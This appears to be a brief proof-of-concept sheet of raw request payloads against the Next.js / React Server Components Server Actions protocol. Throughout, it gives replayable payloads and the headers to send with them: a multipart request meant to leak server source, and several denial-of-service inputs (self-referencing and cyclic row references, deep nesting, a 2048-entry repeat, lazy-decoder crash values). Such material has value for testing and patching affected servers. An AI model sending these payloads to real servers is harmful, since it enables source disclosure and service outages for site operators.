These are raw payload shapes you can replay manually (text/plain unless noted):
Source leak ($F multipart): multipart/form-data with boundary ----poc, fields:
{"id":"<ACTION_ID>","bound":null}["$F1"]
Headers: Content-Type: multipart/form-data; boundary=----poc, Next-Action: <ACTION_ID>, Accept: text/x-component.DoS (self-ref row): ["$R0"]
DoS (3-node cycle): ["$R1", ["$R2"], ["$R0"]]
DoS (deep nest): [ [ [ [ "$R0" ] ] ] ] (repeat brackets for deeper)
DoS (forward ref): ["$R5"]
DoS (large repeat): JSON array of 2048 "$R0" entries (or "$L0").
Lazy decoder 500: ["$L0"] (and variants "$L-1", "$L4", "$L64").
Send with headers:
Content-Type: text/plain;charset=UTF-8 (unless multipart)Accept: text/x-componentNext-Action: <ACTION_ID>